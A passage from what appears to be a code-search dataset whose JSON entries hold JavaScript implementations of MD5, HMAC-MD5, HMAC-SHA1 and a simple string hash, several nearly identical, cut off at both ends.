function(bin)\n\t{\n \tvar tab = \"0123456789abcdef\";\n\tvar str = \"\";\n\n\tfor(var i=0; i<bin.length * 4; i++)\n\t\t{\n\t\tstr += tab.charAt((bin[i>>2] >> ((i%4)*8+4)) & 0xF) + tab.charAt((bin[i>>2] >> ((i%4)*8 )) & 0xF);\n\t\t}\n\n\treturn str;\n\t}\n\n\n/**\n * computes the actual md5-hash\n *\n * @access public\n *\n * @param string data to encrypt\n *\n * @return hex-string md5-hash\n */\nthis.hash = function(data)\n\t{\n\treturn this.bin2hex(this.core(this.str2bin(data) , data.length * this.char_size));\n\t}\n\n\n/**\n * computes HMAC of data and a key\n * for detailed info to HMAC see following specs:\n * \thttp://www.ietf.org/rfc/rfc2104.txt\n *\n * if you know any method to simulate this in PHP serverside,\n * please let me know ! (kai)\n *\n * @access public\n *\n * @param string data to encrypt\n * @param string key\n *\n * @return hex-string HMAC-hash\n */\nthis.hmac = function(data , key)\n\t{\n\tvar bin_data = this.str2bin(data);\n\tvar bin_key = this.str2bin(key);\n\n\tif(bin_key.length > 16)\n\t\tbin_key = this.core(bin_key , key.length * this.char_size);\n\n\tvar i_pad = new Array(16);\n\tvar o_pad = new Array(16);\n\n\tfor(var i=0; i<16; i++)\n\t\t{\n\t\ti_pad[i] = bin_key[i] ^ 0x36363636;\n\t\to_pad[i] = bin_key[i] ^ 0x5C5C5C5C;\n\t\t}\n\n\tvar hash = this.core(i_pad.concat(bin_data) , 512 + (data.length * this.char_size));\n\treturn this.bin2hex(this.core(o_pad.concat(hash) , 512 + 128));\n\t}\n}", "title": "" }, { "docid": "45487a5d883846cf07070b3df798b863", "score": "0.53498703", "text": "function calcMD5(str)\n{\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n\n for(i = 0; i < x.length; i += 16)\n {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n\n a = __ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n d = __ff(d, a, b, c, x[i+ 1], 12, -389564586);\n c = __ff(c, d, a, b, x[i+ 2], 17, 606105819);\n b = __ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n a = __ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n d = __ff(d, a, b, c, x[i+ 5], 12, 1200080426);\n c = __ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n b = __ff(b, c, d, a, x[i+ 7], 22, -45705983);\n a = __ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\n d = __ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n c = __ff(c, d, a, b, x[i+10], 17, -42063);\n b = __ff(b, c, d, a, x[i+11], 22, -1990404162);\n a = __ff(a, b, c, d, x[i+12], 7 , 1804603682);\n d = __ff(d, a, b, c, x[i+13], 12, -40341101);\n c = __ff(c, d, a, b, x[i+14], 17, -1502002290);\n b = __ff(b, c, d, a, x[i+15], 22, 1236535329); \n\n a = __gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n d = __gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n c = __gg(c, d, a, b, x[i+11], 14, 643717713);\n b = __gg(b, c, d, a, x[i+ 0], 20, -373897302);\n a = __gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n d = __gg(d, a, b, c, x[i+10], 9 , 38016083);\n c = __gg(c, d, a, b, x[i+15], 14, -660478335);\n b = __gg(b, c, d, a, x[i+ 4], 20, -405537848);\n a = __gg(a, b, c, d, x[i+ 9], 5 , 568446438);\n d = __gg(d, a, b, c, x[i+14], 9 , -1019803690);\n c = __gg(c, d, a, b, x[i+ 3], 14, -187363961);\n b = __gg(b, c, d, a, x[i+ 8], 20, 1163531501);\n a = __gg(a, b, c, d, x[i+13], 5 , -1444681467);\n d = __gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n c = __gg(c, d, a, b, x[i+ 7], 14, 1735328473);\n b = __gg(b, c, d, a, x[i+12], 20, -1926607734);\n \n a = __hh(a, b, c, d, x[i+ 5], 4 , -378558);\n d = __hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n c = __hh(c, d, a, b, x[i+11], 16, 1839030562);\n b = __hh(b, c, d, a, x[i+14], 23, -35309556);\n a = __hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n d = __hh(d, a, b, c, x[i+ 4], 11, 1272893353);\n c = __hh(c, d, a, b, x[i+ 7], 16, -155497632);\n b = __hh(b, c, d, a, x[i+10], 23, -1094730640);\n a = __hh(a, b, c, d, x[i+13], 4 , 681279174);\n d = __hh(d, a, b, c, x[i+ 0], 11, -358537222);\n c = __hh(c, d, a, b, x[i+ 3], 16, -722521979);\n b = __hh(b, c, d, a, x[i+ 6], 23, 76029189);\n a = __hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n d = __hh(d, a, b, c, x[i+12], 11, -421815835);\n c = __hh(c, d, a, b, x[i+15], 16, 530742520);\n b = __hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n a = __ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n d = __ii(d, a, b, c, x[i+ 7], 10, 1126891415);\n c = __ii(c, d, a, b, x[i+14], 15, -1416354905);\n b = __ii(b, c, d, a, x[i+ 5], 21, -57434055);\n a = __ii(a, b, c, d, x[i+12], 6 , 1700485571);\n d = __ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n c = __ii(c, d, a, b, x[i+10], 15, -1051523);\n b = __ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n a = __ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\n d = __ii(d, a, b, c, x[i+15], 10, -30611744);\n c = __ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n b = __ii(b, c, d, a, x[i+13], 21, 1309151649);\n a = __ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n d = __ii(d, a, b, c, x[i+11], 10, -1120210379);\n c = __ii(c, d, a, b, x[i+ 2], 15, 718787259);\n b = __ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n a = __add(a, olda);\n b = __add(b, oldb);\n c = __add(c, oldc);\n d = __add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n}", "title": "" }, { "docid": "037264b060e5deff2fc7cdfcb38013f5", "score": "0.5308127", "text": "function calcMD5(str) {\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n for (i = 0; i < x.length; i += 16) {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n a = ff(a, b, c, d, x[i + 0], 7, -680876936);\n d = ff(d, a, b, c, x[i + 1], 12, -389564586);\n c = ff(c, d, a, b, x[i + 2], 17, 606105819);\n b = ff(b, c, d, a, x[i + 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i + 4], 7, -176418897);\n d = ff(d, a, b, c, x[i + 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i + 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i + 7], 22, -45705983);\n a = ff(a, b, c, d, x[i + 8], 7, 1770035416);\n d = ff(d, a, b, c, x[i + 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i + 10], 17, -42063);\n b = ff(b, c, d, a, x[i + 11], 22, -1990404162);\n a = ff(a, b, c, d, x[i + 12], 7, 1804603682);\n d = ff(d, a, b, c, x[i + 13], 12, -40341101);\n c = ff(c, d, a, b, x[i + 14], 17, -1502002290);\n b = ff(b, c, d, a, x[i + 15], 22, 1236535329);\n a = gg(a, b, c, d, x[i + 1], 5, -165796510);\n d = gg(d, a, b, c, x[i + 6], 9, -1069501632);\n c = gg(c, d, a, b, x[i + 11], 14, 643717713);\n b = gg(b, c, d, a, x[i + 0], 20, -373897302);\n a = gg(a, b, c, d, x[i + 5], 5, -701558691);\n d = gg(d, a, b, c, x[i + 10], 9, 38016083);\n c = gg(c, d, a, b, x[i + 15], 14, -660478335);\n b = gg(b, c, d, a, x[i + 4], 20, -405537848);\n a = gg(a, b, c, d, x[i + 9], 5, 568446438);\n d = gg(d, a, b, c, x[i + 14], 9, -1019803690);\n c = gg(c, d, a, b, x[i + 3], 14, -187363961);\n b = gg(b, c, d, a, x[i + 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i + 13], 5, -1444681467);\n d = gg(d, a, b, c, x[i + 2], 9, -51403784);\n c = gg(c, d, a, b, x[i + 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i + 12], 20, -1926607734);\n a = hh(a, b, c, d, x[i + 5], 4, -378558);\n d = hh(d, a, b, c, x[i + 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i + 11], 16, 1839030562);\n b = hh(b, c, d, a, x[i + 14], 23, -35309556);\n a = hh(a, b, c, d, x[i + 1], 4, -1530992060);\n d = hh(d, a, b, c, x[i + 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i + 7], 16, -155497632);\n b = hh(b, c, d, a, x[i + 10], 23, -1094730640);\n a = hh(a, b, c, d, x[i + 13], 4, 681279174);\n d = hh(d, a, b, c, x[i + 0], 11, -358537222);\n c = hh(c, d, a, b, x[i + 3], 16, -722521979);\n b = hh(b, c, d, a, x[i + 6], 23, 76029189);\n a = hh(a, b, c, d, x[i + 9], 4, -640364487);\n d = hh(d, a, b, c, x[i + 12], 11, -421815835);\n c = hh(c, d, a, b, x[i + 15], 16, 530742520);\n b = hh(b, c, d, a, x[i + 2], 23, -995338651);\n a = ii(a, b, c, d, x[i + 0], 6, -198630844);\n d = ii(d, a, b, c, x[i + 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i + 14], 15, -1416354905);\n b = ii(b, c, d, a, x[i + 5], 21, -57434055);\n a = ii(a, b, c, d, x[i + 12], 6, 1700485571);\n d = ii(d, a, b, c, x[i + 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i + 10], 15, -1051523);\n b = ii(b, c, d, a, x[i + 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i + 8], 6, 1873313359);\n d = ii(d, a, b, c, x[i + 15], 10, -30611744);\n c = ii(c, d, a, b, x[i + 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i + 13], 21, 1309151649);\n a = ii(a, b, c, d, x[i + 4], 6, -145523070);\n d = ii(d, a, b, c, x[i + 11], 10, -1120210379);\n c = ii(c, d, a, b, x[i + 2], 15, 718787259);\n b = ii(b, c, d, a, x[i + 9], 21, -343485551);\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n }", "title": "" }, { "docid": "b0e4023799970761cd710c6282a03288", "score": "0.5290083", "text": "_coreHmacSHA1(_key, _data) {\n const _this = this;\n let _bkey = _this._str2binb(_key);\n const _ipad = new Array(16);\n const _opad = new Array(16);\n let i;\n if (_bkey.length > 16) {\n _bkey = _this._coreSHA1(_bkey, _key.length * _this._chrsz);\n }\n for (i = 0; i < 16; i++){\n _ipad[i] = _bkey[i] ^ 0x36363636;\n _opad[i] = _bkey[i] ^ 0x5C5C5C5C;\n }\n const _hash = _this._coreSHA1(_ipad.concat(_this._str2binb(_data)), 512 + _data.length * _this._chrsz);\n return _this._coreSHA1(_opad.concat(_hash), 512 + 160);\n }", "title": "" }, { "docid": "543d97e02d69102c49602420d3562266", "score": "0.5289229", "text": "function hex_md5(A){return rstr2hex(rstr_md5(str2rstr_utf8(A)))}", "title": "" }, { "docid": "14107e0ff92a6c26c56d774f86113de3", "score": "0.52877605", "text": "hash(key) {\n // charCodeAt() => a string method that is used to retrieve a Unicode value for a character at a specific position in a string.\n let hash = key.split('').reduce((acc, char) => {\n return acc + char.charCodeAt(0);\n }, 0) * 599 % this.size;\n return hash;\n\n // return key.toString().length % this.size;\n }", "title": "" }, { "docid": "3107738fccec40bfa28de94ff509ea38", "score": "0.52781385", "text": "function calcMD5(str)\n{\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n\n for(i = 0; i < x.length; i += 16)\n {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n\n a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n d = ff(d, a, b, c, x[i+ 1], 12, -389564586);\n c = ff(c, d, a, b, x[i+ 2], 17, 606105819);\n b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i+ 7], 22, -45705983);\n a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\n d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i+10], 17, -42063);\n b = ff(b, c, d, a, x[i+11], 22, -1990404162);\n a = ff(a, b, c, d, x[i+12], 7 , 1804603682);\n d = ff(d, a, b, c, x[i+13], 12, -40341101);\n c = ff(c, d, a, b, x[i+14], 17, -1502002290);\n b = ff(b, c, d, a, x[i+15], 22, 1236535329);\n\n a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n c = gg(c, d, a, b, x[i+11], 14, 643717713);\n b = gg(b, c, d, a, x[i+ 0], 20, -373897302);\n a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n d = gg(d, a, b, c, x[i+10], 9 , 38016083);\n c = gg(c, d, a, b, x[i+15], 14, -660478335);\n b = gg(b, c, d, a, x[i+ 4], 20, -405537848);\n a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);\n d = gg(d, a, b, c, x[i+14], 9 , -1019803690);\n c = gg(c, d, a, b, x[i+ 3], 14, -187363961);\n b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i+13], 5 , -1444681467);\n d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i+12], 20, -1926607734);\n\n a = hh(a, b, c, d, x[i+ 5], 4 , -378558);\n d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i+11], 16, 1839030562);\n b = hh(b, c, d, a, x[i+14], 23, -35309556);\n a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i+ 7], 16, -155497632);\n b = hh(b, c, d, a, x[i+10], 23, -1094730640);\n a = hh(a, b, c, d, x[i+13], 4 , 681279174);\n d = hh(d, a, b, c, x[i+ 0], 11, -358537222);\n c = hh(c, d, a, b, x[i+ 3], 16, -722521979);\n b = hh(b, c, d, a, x[i+ 6], 23, 76029189);\n a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n d = hh(d, a, b, c, x[i+12], 11, -421815835);\n c = hh(c, d, a, b, x[i+15], 16, 530742520);\n b = hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i+14], 15, -1416354905);\n b = ii(b, c, d, a, x[i+ 5], 21, -57434055);\n a = ii(a, b, c, d, x[i+12], 6 , 1700485571);\n d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i+10], 15, -1051523);\n b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\n d = ii(d, a, b, c, x[i+15], 10, -30611744);\n c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i+13], 21, 1309151649);\n a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n d = ii(d, a, b, c, x[i+11], 10, -1120210379);\n c = ii(c, d, a, b, x[i+ 2], 15, 718787259);\n b = ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n}", "title": "" }, { "docid": "158f95e9801e0a3947178532a3b6704f", "score": "0.52781385", "text": "function calcMD5(str)\n{\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n\n for(i = 0; i < x.length; i += 16)\n {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n\n a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n d = ff(d, a, b, c, x[i+ 1], 12, -389564586);\n c = ff(c, d, a, b, x[i+ 2], 17, 606105819);\n b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i+ 7], 22, -45705983);\n a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\n d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i+10], 17, -42063);\n b = ff(b, c, d, a, x[i+11], 22, -1990404162);\n a = ff(a, b, c, d, x[i+12], 7 , 1804603682);\n d = ff(d, a, b, c, x[i+13], 12, -40341101);\n c = ff(c, d, a, b, x[i+14], 17, -1502002290);\n b = ff(b, c, d, a, x[i+15], 22, 1236535329); \n\n a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n c = gg(c, d, a, b, x[i+11], 14, 643717713);\n b = gg(b, c, d, a, x[i+ 0], 20, -373897302);\n a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n d = gg(d, a, b, c, x[i+10], 9 , 38016083);\n c = gg(c, d, a, b, x[i+15], 14, -660478335);\n b = gg(b, c, d, a, x[i+ 4], 20, -405537848);\n a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);\n d = gg(d, a, b, c, x[i+14], 9 , -1019803690);\n c = gg(c, d, a, b, x[i+ 3], 14, -187363961);\n b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i+13], 5 , -1444681467);\n d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i+12], 20, -1926607734);\n \n a = hh(a, b, c, d, x[i+ 5], 4 , -378558);\n d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i+11], 16, 1839030562);\n b = hh(b, c, d, a, x[i+14], 23, -35309556);\n a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i+ 7], 16, -155497632);\n b = hh(b, c, d, a, x[i+10], 23, -1094730640);\n a = hh(a, b, c, d, x[i+13], 4 , 681279174);\n d = hh(d, a, b, c, x[i+ 0], 11, -358537222);\n c = hh(c, d, a, b, x[i+ 3], 16, -722521979);\n b = hh(b, c, d, a, x[i+ 6], 23, 76029189);\n a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n d = hh(d, a, b, c, x[i+12], 11, -421815835);\n c = hh(c, d, a, b, x[i+15], 16, 530742520);\n b = hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i+14], 15, -1416354905);\n b = ii(b, c, d, a, x[i+ 5], 21, -57434055);\n a = ii(a, b, c, d, x[i+12], 6 , 1700485571);\n d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i+10], 15, -1051523);\n b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\n d = ii(d, a, b, c, x[i+15], 10, -30611744);\n c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i+13], 21, 1309151649);\n a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n d = ii(d, a, b, c, x[i+11], 10, -1120210379);\n c = ii(c, d, a, b, x[i+ 2], 15, 718787259);\n b = ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n } \n return rhex(a) + rhex(b) + rhex(c) + rhex(d); \n}", "title": "" }, { "docid": "4ae7632c62cd1e9e16f04939d044157d", "score": "0.5254226", "text": "strHmacSHA1(_key, _data) {\n const _this = this;\n return _this._binb2str(\n _this._coreHmacSHA1(_key, _data)\n );\n }", "title": "" }, { "docid": "86c5eeb02f1cd80bb52e398f6cf97553", "score": "0.5246463", "text": "function getMD5Algorithms() {\r\n\r\n/*\r\n * Configurable variables. You may need to tweak these to be compatible with\r\n * the server-side, but the defaults work in most cases.\r\n */\r\nvar hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */\r\nvar b64pad = \"\"; /* base-64 pad character. \"=\" for strict RFC compliance */\r\n\r\n/*\r\n * These are the functions you'll usually want to call\r\n * They take string arguments and return either hex or base-64 encoded strings\r\n */\r\nfunction hex_md5(s) { return rstr2hex(rstr_md5(str2rstr_utf8(s))); }\r\nfunction b64_md5(s) { return rstr2b64(rstr_md5(str2rstr_utf8(s))); }\r\nfunction any_md5(s, e) { return rstr2any(rstr_md5(str2rstr_utf8(s)), e); }\r\nfunction hex_hmac_md5(k, d)\r\n { return rstr2hex(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }\r\nfunction b64_hmac_md5(k, d)\r\n { return rstr2b64(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d))); }\r\nfunction any_hmac_md5(k, d, e)\r\n { return rstr2any(rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)), e); }\r\n\r\n/*\r\n * Perform a simple self-test to see if the VM is working\r\n */\r\nfunction md5_vm_test()\r\n{\r\n return hex_md5(\"abc\").toLowerCase() == \"900150983cd24fb0d6963f7d28e17f72\";\r\n}\r\n\r\n/*\r\n * Calculate the MD5 of a raw string\r\n */\r\nfunction rstr_md5(s)\r\n{\r\n return binl2rstr(binl_md5(rstr2binl(s), s.length * 8));\r\n}\r\n\r\n/*\r\n * Calculate the HMAC-MD5, of a key and some data (raw strings)\r\n */\r\nfunction rstr_hmac_md5(key, data)\r\n{\r\n var bkey = rstr2binl(key);\r\n if(bkey.length > 16) bkey = binl_md5(bkey, key.length * 8);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\r\n return binl2rstr(binl_md5(opad.concat(hash), 512 + 128));\r\n}\r\n\r\n/*\r\n * Convert a raw string to a hex string\r\n */\r\nfunction rstr2hex(input)\r\n{\r\n try { hexcase } catch(e) { hexcase=0; }\r\n var hex_tab = hexcase ? \"0123456789ABCDEF\" : \"0123456789abcdef\";\r\n var output = \"\";\r\n var x;\r\n for(var i = 0; i < input.length; i++)\r\n {\r\n x = input.charCodeAt(i);\r\n output += hex_tab.charAt((x >>> 4) & 0x0F)\r\n + hex_tab.charAt( x & 0x0F);\r\n }\r\n return output;\r\n}\r\n\r\n/*\r\n * Convert a raw string to a base-64 string\r\n */\r\nfunction rstr2b64(input)\r\n{\r\n try { b64pad } catch(e) { b64pad=''; }\r\n var tab = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\r\n var output = \"\";\r\n var len = input.length;\r\n for(var i = 0; i < len; i += 3)\r\n {\r\n var triplet = (input.charCodeAt(i) << 16)\r\n | (i + 1 < len ? input.charCodeAt(i+1) << 8 : 0)\r\n | (i + 2 < len ? input.charCodeAt(i+2) : 0);\r\n for(var j = 0; j < 4; j++)\r\n {\r\n if(i * 8 + j * 6 > input.length * 8) output += b64pad;\r\n else output += tab.charAt((triplet >>> 6*(3-j)) & 0x3F);\r\n }\r\n }\r\n return output;\r\n}\r\n\r\n/*\r\n * Convert a raw string to an arbitrary string encoding\r\n */\r\nfunction rstr2any(input, encoding)\r\n{\r\n var divisor = encoding.length;\r\n var i, j, q, x, quotient;\r\n\r\n /* Convert to an array of 16-bit big-endian values, forming the dividend */\r\n var dividend = Array(Math.ceil(input.length / 2));\r\n for(i = 0; i < dividend.length; i++)\r\n {\r\n dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1);\r\n }\r\n\r\n /*\r\n * Repeatedly perform a long division. The binary array forms the dividend,\r\n * the length of the encoding is the divisor. Once computed, the quotient\r\n * forms the dividend for the next step. All remainders are stored for later\r\n * use.\r\n */\r\n var full_length = Math.ceil(input.length * 8 /\r\n (Math.log(encoding.length) / Math.log(2)));\r\n var remainders = Array(full_length);\r\n for(j = 0; j < full_length; j++)\r\n {\r\n quotient = Array();\r\n x = 0;\r\n for(i = 0; i < dividend.length; i++)\r\n {\r\n x = (x << 16) + dividend[i];\r\n q = Math.floor(x / divisor);\r\n x -= q * divisor;\r\n if(quotient.length > 0 || q > 0)\r\n quotient[quotient.length] = q;\r\n }\r\n remainders[j] = x;\r\n dividend = quotient;\r\n }\r\n\r\n /* Convert the remainders to the output string */\r\n var output = \"\";\r\n for(i = remainders.length - 1; i >= 0; i--)\r\n output += encoding.charAt(remainders[i]);\r\n\r\n return output;\r\n}\r\n\r\n/*\r\n * Encode a string as utf-8.\r\n * For efficiency, this assumes the input is valid utf-16.\r\n */\r\nfunction str2rstr_utf8(input)\r\n{\r\n var output = \"\";\r\n var i = -1;\r\n var x, y;\r\n\r\n while(++i < input.length)\r\n {\r\n /* Decode utf-16 surrogate pairs */\r\n x = input.charCodeAt(i);\r\n y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0;\r\n if(0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF)\r\n {\r\n x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF);\r\n i++;\r\n }\r\n\r\n /* Encode output as utf-8 */\r\n if(x <= 0x7F)\r\n output += String.fromCharCode(x);\r\n else if(x <= 0x7FF)\r\n output += String.fromCharCode(0xC0 | ((x >>> 6 ) & 0x1F),\r\n 0x80 | ( x & 0x3F));\r\n else if(x <= 0xFFFF)\r\n output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F),\r\n 0x80 | ((x >>> 6 ) & 0x3F),\r\n 0x80 | ( x & 0x3F));\r\n else if(x <= 0x1FFFFF)\r\n output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07),\r\n 0x80 | ((x >>> 12) & 0x3F),\r\n 0x80 | ((x >>> 6 ) & 0x3F),\r\n 0x80 | ( x & 0x3F));\r\n }\r\n return output;\r\n}\r\n\r\n/*\r\n * Encode a string as utf-16\r\n */\r\nfunction str2rstr_utf16le(input)\r\n{\r\n var output = \"\";\r\n for(var i = 0; i < input.length; i++)\r\n output += String.fromCharCode( input.charCodeAt(i) & 0xFF,\r\n (input.charCodeAt(i) >>> 8) & 0xFF);\r\n return output;\r\n}\r\n\r\nfunction str2rstr_utf16be(input)\r\n{\r\n var output = \"\";\r\n for(var i = 0; i < input.length; i++)\r\n output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF,\r\n input.charCodeAt(i) & 0xFF);\r\n return output;\r\n}\r\n\r\n/*\r\n * Convert a raw string to an array of little-endian words\r\n * Characters >255 have their high-byte silently ignored.\r\n */\r\nfunction rstr2binl(input)\r\n{\r\n var output = Array(input.length >> 2);\r\n for(var i = 0; i < output.length; i++)\r\n output[i] = 0;\r\n for(var i = 0; i < input.length * 8; i += 8)\r\n output[i>>5] |= (input.charCodeAt(i / 8) & 0xFF) << (i%32);\r\n return output;\r\n}\r\n\r\n/*\r\n * Convert an array of little-endian words to a string\r\n */\r\nfunction binl2rstr(input)\r\n{\r\n var output = \"\";\r\n for(var i = 0; i < input.length * 32; i += 8)\r\n output += String.fromCharCode((input[i>>5] >>> (i % 32)) & 0xFF);\r\n return output;\r\n}\r\n\r\n/*\r\n * Calculate the MD5 of an array of little-endian words, and a bit length.\r\n */\r\nfunction binl_md5(x, len)\r\n{\r\n /* append padding */\r\n x[len >> 5] |= 0x80 << ((len) % 32);\r\n x[(((len + 64) >>> 9) << 4) + 14] = len;\r\n\r\n var a = 1732584193;\r\n var b = -271733879;\r\n var c = -1732584194;\r\n var d = 271733878;\r\n\r\n for(var i = 0; i < x.length; i += 16)\r\n {\r\n var olda = a;\r\n var oldb = b;\r\n var oldc = c;\r\n var oldd = d;\r\n\r\n a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);\r\n d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);\r\n c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);\r\n b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);\r\n a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);\r\n d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);\r\n c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);\r\n b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);\r\n a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\r\n d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);\r\n c = md5_ff(c, d, a, b, x[i+10], 